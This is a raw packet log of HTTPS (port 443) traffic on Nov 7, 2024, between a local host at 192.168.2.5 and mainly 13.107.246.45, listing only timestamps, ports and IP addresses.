Nov 7, 2024 23:47:58.101393938 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.101403952 CET	49931	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.101408958 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.104908943 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.104924917 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.104990959 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.105876923 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.105886936 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.149068117 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.149094105 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.149142027 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.149164915 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.149195910 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.150068998 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.150082111 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.165328026 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.165359020 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.165544033 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.165986061 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.165997028 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.206746101 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.206796885 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.206835032 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.206937075 CET	49933	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.228728056 CET	49933	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.228746891 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.242006063 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.242022991 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.242098093 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.243231058 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.243246078 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.281125069 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.285953999 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.285967112 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.292241096 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.292251110 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.423912048 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.424113989 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.424149036 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.424181938 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.424217939 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.816905975 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.824040890 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.864353895 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.880302906 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.919370890 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.919392109 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.919590950 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.919596910 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.923501015 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.923518896 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.923943996 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.923949003 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.924412966 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.924422979 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.924873114 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.924876928 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.053997040 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.054029942 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.054655075 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.057257891 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.057276011 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.105967999 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.106131077 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.110287905 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.110304117 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.111222029 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.111226082 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.111644030 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.111663103 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.112442017 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.112446070 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.223171949 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.223196983 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.223246098 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.223340034 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.223340034 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.224069118 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.224091053 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.224102020 CET	49936	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.224107981 CET	443	49936	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.224242926 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.224313974 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.224419117 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.225697041 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.225718975 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.225729942 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.225737095 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.228533983 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.228559017 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.228694916 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.229990959 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.230017900 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.230205059 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.230407953 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.230421066 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.230571985 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.230580091 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.237832069 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.237845898 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.237919092 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.237926960 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.237936974 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.238009930 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.238140106 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.238145113 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.238156080 CET	49938	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.238158941 CET	443	49938	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.238553047 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.238601923 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.238653898 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.242369890 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.242391109 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.242580891 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.243029118 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.243040085 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.243578911 CET	49937	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.243583918 CET	443	49937	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.244695902 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.244704962 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.246629000 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.246644020 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.246850967 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.247031927 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.247041941 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.827133894 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.832679033 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.832701921 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.841088057 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.841093063 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.966993093 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.967015028 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.967053890 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.967071056 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.967109919 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:59.982110023 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.988419056 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:59.988574982 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.012506008 CET	49939	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.012522936 CET	443	49939	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.015100956 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.015115976 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.015758991 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.015763998 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.016283989 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.016289949 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.016750097 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.016752958 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.017136097 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.017167091 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.017843962 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.017851114 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.033024073 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.033071041 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.033143997 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.033391953 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.033416033 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149151087 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149168968 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149194956 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149215937 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149302959 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.149315119 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.149382114 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.149382114 CET	49943	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.149391890 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149399042 CET	443	49943	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149512053 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.149528027 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.149537086 CET	49942	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.149542093 CET	443	49942	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.151977062 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.152004004 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.152064085 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.152164936 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.152188063 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.152267933 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.152299881 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.152312040 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.152435064 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.152448893 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.174494028 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.174617052 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.174691916 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.176629066 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.176630020 CET	49941	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.176636934 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.176645041 CET	443	49941	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.178796053 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.178807020 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.178894997 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.179001093 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.179008007 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.750374079 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.751209021 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.751209021 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.751238108 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.751251936 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.773839951 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.774147987 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.774172068 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.774655104 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.774658918 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.871270895 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.873706102 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.873720884 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.874116898 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.874120951 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.878979921 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.878999949 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.879034042 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.879060984 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.879137993 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.879303932 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.879303932 CET	49940	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.879321098 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.879324913 CET	443	49940	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.881705046 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.881736040 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.881915092 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.881915092 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.881942987 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.890829086 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.894785881 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.894809961 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.895179987 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.895193100 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.907078981 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.907208920 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.907511950 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.907525063 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.907572031 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.907675028 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.907675982 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.907854080 CET	49944	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.907867908 CET	443	49944	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.915369034 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.917015076 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.917015076 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.917028904 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.917036057 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.918788910 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.918822050 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.919014931 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.919127941 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:00.919137001 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:00.999989033 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.000505924 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.000600100 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.000600100 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.000600100 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.002753973 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.002789021 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.003247023 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.003247023 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.003277063 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.023226976 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.023247957 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.023288965 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.023355961 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.023477077 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.023498058 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.023535967 CET	49946	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.023542881 CET	443	49946	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.025439024 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.025471926 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.025640011 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.025873899 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.025887012 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.094827890 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:01.094875097 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:01.099190950 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:01.100074053 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:01.100091934 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:01.205733061 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.205792904 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.206361055 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.206500053 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.206500053 CET	49947	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.206515074 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.206523895 CET	443	49947	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.209076881 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.209099054 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.209264994 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.210460901 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.210470915 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.384424925 CET	49945	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.384452105 CET	443	49945	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.647783995 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.650832891 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.650859118 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.651329994 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.651335001 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.750508070 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.750911951 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.750946999 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.751341105 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.751346111 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.767518044 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.767874956 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.767890930 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.768543005 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.768547058 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.783255100 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.783303022 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.783381939 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.783667088 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.783684015 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.783691883 CET	49949	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.783698082 CET	443	49949	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.787446976 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.787486076 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.787662029 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.787810087 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.787822008 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.878766060 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.879175901 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.879235983 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.879308939 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.879328012 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.879338026 CET	49950	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.879343033 CET	443	49950	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.881422997 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.881452084 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.881532907 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.881652117 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.881665945 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.899641037 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.899686098 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.899728060 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.899837017 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.899837017 CET	49951	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.899843931 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.899851084 CET	443	49951	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.901684999 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.901722908 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.901799917 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.901936054 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:01.901951075 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:01.960030079 CET	443	49952	20.12.23.50	192.168.2.5
